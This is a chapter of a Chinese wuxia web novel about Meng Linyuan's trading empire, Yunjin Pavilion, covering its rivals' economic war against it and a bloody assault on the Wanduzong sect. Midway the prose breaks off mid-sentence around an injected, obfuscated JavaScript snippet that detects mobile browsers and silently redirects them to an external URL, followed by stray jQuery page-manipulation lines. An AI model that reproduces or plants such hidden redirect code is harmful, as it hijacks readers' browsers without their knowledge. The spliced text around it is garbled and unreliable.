财富如滚雪球般积聚。
镖局以优厚条件换取孟临渊麾下良驹装备镖师;远在边陲的小门派,也能通过她的渠道,用特产药材换来中原的精良兵刃。她不经意间,已捏住了江湖经济的命脉之一。
这般的声势,自然也引来了注视。
这一日,云锦阁来了一位特殊的客人。此人身着不起眼的灰布直裰,面容清癯,气质却如古井深潭,步履无声。
他并未在各坊停留,径直被引至孟临渊的雅阁。
帘幕轻启,来人微微颔首:“孟姑娘,久仰。老夫姓李,忝为天机阁外执事。”
天机阁,江湖中最为神秘的组织,不参与纷争,却知天下事,其编纂的“兵器谱”、“高手榜”堪称武林权威,无人敢质疑。
孟临渊眸光微动,抬手斟茶:“李老先生大驾光临,蓬荜生辉。不知所为何事?”
李执事接过茶盏,并不饮用,缓声道:“阁主有言,江湖纷扰百年,从未有似姑娘这般,以商道另辟蹊径,聚势而无形者。云锦阁已成气候,天下瞩目。故特命老夫前来,邀姑娘之名,入天下风云榜。”
一旁侍立的绣橘几乎屏住呼吸。天下风云榜!非论武功高低,只评其对天下大势之影响。
能上榜者,无不是一方巨擘、宗门领袖或朝廷勋贵。一介女子,以商贾之身入选,闻所未闻。
孟临渊倒并没有淡泊名利的推辞,而是支着下巴问,“怎么会有我?”
风云榜倒确实没有纯粹的商贾人,多是手下有产业的江湖人士。
李执事微微一笑:“姑娘一手打通西域商路,一手握江湖供需命脉,富可敌国,隐操市价。阁主言,姑娘已身在风云之中,榜上若无芳名,反失其真。”
消息如野火般传开,举世皆惊。
孟临渊名列天机阁天下风云榜第一位,排名远远超过了一些雄踞一方的老牌门派掌门和世家家主。
云锦阁门前车马愈发拥挤,有前来道贺的,有欲攀附合作的,更有无数好奇探究的目光。孟临渊依旧淡然处之,但阁内的护卫无形中又增加了一倍。
-
三月,草长莺飞。太湖烟波深处,停云山庄少主倚在窗边,听父亲讲述云锦阁的传奇。
年轻的少主拈着一枚白玉棋子,在指尖转了转,终是忍不住问出口:“父亲,那云锦阁聚宝敛珍,握西域通途,掌江湖货殖,俨然自成一方势力。难道就无人眼红,无人想过……取而代之?”
他对面的中年男子,青衣缓带,气质沉静,正凝神于棋盘上的残局。闻言,他并未抬头,只唇角牵起一丝极淡的笑意,似是感慨,又似是嘲弄。
“怎会没有?”男子落下一子,声音平稳,如古井无波,“利字当头,鬼尚且可驱使,想动云锦阁的人,从来不少。”
少主放下棋子,身体微微前倾,显是极感兴趣:“哦?那后来如何?可是都被那位天下第一的剑客挡回去了?听闻无鞘前辈武功已入化境,有他在,等闲人岂敢造次?”
男子终于抬眼看了看儿子,目光深邃:“剑无鞘自然是一重原因。天下第一,并非虚名。有他坐镇,宵小之辈自然望而却步。但,这并非主因。”
“哦?那主因是何?”少主追问。
男子沉吟片刻,仿佛在斟酌词句,又似在回忆某些尘封的旧事。窗外竹影摇曳,衬得他神色有些明灭不定。
那时,云锦阁刚成立不久。
孟临渊正在查阅一批自海外运来的稀有金属账目,绣橘匆匆入内,面色凝重:“姑娘,江南天漕纵横会、蜀中万毒宗、关外金刀寨……等五家势力,联名递来帖子。”
孟临渊接过那张沉甸甸的鎏金帖子,扫过内容,挑了挑眉。
帖子上言辞客气,实则通篇暗藏机锋。大致意思是:女君以惊世之才整合商路,惠及江湖,吾等深感佩服。
然江湖有江湖的规矩,如此庞大的生意,牵涉各方利益,非一人一派可独掌。为免日后滋生事端,愿共同推举几位德高望重的前辈,与她共组商会,襄助管理云锦阁事务,以期长远稳定。
所谓襄助,实为巧取豪夺的第一步。
夏容与把玩着手中的剑:“要带我去拜访一下这几位发起人么?”
孟临渊轻轻摇头,指尖在那份联名帖上点了点:“杀几个人解决不了问题。他们敢联名,背后牵扯的利益网必定盘根错节。武力威慑固然需要,但此刻,需先以商道破之。”
她沉吟片刻,回帖一封,强硬得没有丝毫转圜余地。
很快,报复来了。
先是几批运往关外的精铁在途中被神秘劫掠,押镖的镖师尽数被迷晕,货物不翼而飞,现场未留任何痕迹。
接着,蜀中方面突然中断了几种特有药材的供应,理由是产地遭灾,产量锐减。
几乎同时,天漕纵横会开始对悬挂云锦阁旗号的货船百般刁难,查验繁琐,拖延航期,导致一批时鲜货品变质,损失惨重。
孟临渊却依旧沉静。她站在云锦阁最高的望楼上,俯瞰着运河上千帆竞渡,目光似乎已穿透重重迷雾,看到了更远的地方。
“通知西域分部,启动备用矿源,那几处此前秘而不宣的矿脉,可以加大开采力度了。”
“传信海外船队,加大采购南洋药材的份额,价格可上浮一成,务必稳定货源。蜀中的药材,暂停采购。”
“让我们自己的船队做好准备,天漕纵横会的河道若不好走,有些货物,以后改走海路。”
“另外,”她顿了顿,唇角一勾,“把我们囤积的那些天漕纵横会急需的冰碱、金刀寨赖以打造兵器的南洋火油木的价格,提高五成。他们既然先动了手,就该料到我会反击。”
这是一场没有硝烟的战争,比拼的是资源、渠道、资金和远见。
孟临渊的底蕴远超那些势力的想象。
联合狙击非但未能扼杀云锦阁,反而让她顺势调整,并将更高的成本反向转嫁到了对手身上。
数月下来,联合势力先撑不住了。天漕纵横会因缺少关键物资导致内部怨声载道;蜀中万毒宗堆积如山的药材找不到云锦阁这样的大买主,开始亏损;关外金刀寨更是因兵刃打造成本骤增而苦不堪言。
经济上的反制,往往比刀剑更能让人痛入骨髓。
最终,几位当初联名的首领全部倒台,而新继任的几位放下架子前去云锦阁赔罪道歉,以让出极高的利润为代价与云锦阁合作。
经此一役,再无人敢质疑云锦阁的地位,更无人敢小觑女君。她以绝对的实力和深不可测的后手,奠定了自己在江湖中的超然地位。
年轻的少主听得入了神,忍不住追问:“后来呢?那些势力就此罢休了?”
他对面的男子,指尖夹着一枚白玉棋子,久久未曾落下。
窗外的竹影摇晃得更厉害,仿佛有无数黑影在窃窃私语。
男子缓缓开口,声音沉静依旧,却多了一丝难以言喻的冷冽。
“罢休?江湖风波,何曾真正平息过。”
“利益未必能让人真正死心。尤其当有些人,输掉的不仅仅是钱财,还有脸面,还有地盘,还有……几十年搏杀换来的江湖地位。”
“他们明面上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288910|182219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手段输了,自然会想到暗地里的勾当。”
“那才是真正腥风血雨的开始。”
他的目光投向窗外无边的夜色,仿佛穿透了时空,回到了那个波谲云诡的时候。
蜀道之难,难于上青天。而蜀中的散贩们走的,更是难中的险路。他们不属任何帮派,凭着一双腿,一双肩,穿梭于瘴疠之地,挣几个辛苦钱,从万毒宗的地界零星收购些药材,再转手卖给过往商队,其中大多,最终也是流入云锦阁的渠道。
他们是最微末的一环,也本应是最无关的一环。
但别的派别或许会顾及几分颜面,万毒宗不同,他们自恃邪教,自然不会顾及下不下作。
他们不敢再直接针对孟临渊,却将目标转向了云锦阁的散贩。
七名散贩的尸体在通往云锦阁收货点的隘口被人发现。死状极惨。
随后,这位天下第一的风云人物,做了一件震动整个江湖的事。
她带着无鞘径直杀向了蜀中万毒宗的山门。
没有偷袭,没有迂回。就是堂堂正正地登山,叩门,然后杀人。
万毒宗以毒称雄,宗内机关密布,毒物遍地,弟子皆是用毒的好手。但他们从未遇到过这样的对手。
无鞘更像是一把无意识的武器,他听从女君的命令,一一杀过去。
而孟临渊也对所谓的机关和毒物了如指掌,他们一步一杀,从山门杀到正殿,所过之处,伏尸遍地,毒阵皆破。
并非嗜杀,剑下只斩向云锦阁出手之人,只破阻前进之阵。
但那种无可阻挡的威势,那种将万毒宗视若无物的冷漠,彻底击垮了幸存者的心智。
孟临渊极有耐心,许是这事真触犯了她的逆鳞,除了对散贩下手的人以外,她花大价钱从千机阁买了消息,将万毒宗中犯过死罪的人全部杀尽,并将罪行广告天下。
万毒宗本就是魔教,经此被废了十分之九的势力,彻底失势。
经此一役,江湖骇然。
但也无人能说她做得不对,正道门派更是支持。
少主听得心神激荡,仿佛亲眼见那血雨腥风,亲见那被碾过江湖骸骨。
他深吸一口气:“所以……无鞘前辈,因此战而登顶天下第一?”
男子默然良久。
“无人知道那一年,无鞘的剑到了何种境界。”
“只知那一战后,天下前六的高手,有四人人心服,两人避世。”
“你说,他是不是天下第一?”
“而掌控这柄剑的沈云襄……”男子顿了顿,声音里带着无尽的深邃与忌惮,“她又该排第几?”
风波渐息,云锦阁愈发兴盛。
她的商队依旧纵横于九州四海,她的名字已成为一个时代的符号,象征着财富、权力、智慧与那不可复制的奇迹。
岁月流转,云锦阁愈发兴盛,已成为天下江湖中一个超然物外的奇特存在。它不参与武林纷争,却无形中影响着各派势力的平衡;它不属朝堂管辖,却连官府有时也不得不借助其渠道与资源。
孟临渊的身影,逐渐变得更加神秘,寻常人难得一见。但关于她的传说,却从未停止。
有人说,她已富可敌国,掌握着数条关乎国计民生的商路命脉。
有人说,她手眼通天,江湖朝堂皆有她的关系网络。
但无论外界如何传说,云锦阁依旧矗立在运河畔,沉默地运转着,如同一个精密而强大的巨兽,吞吐着天下的财富与秘密。
天下很大,江湖很远。
而她的生意,纵横九州,永无止境。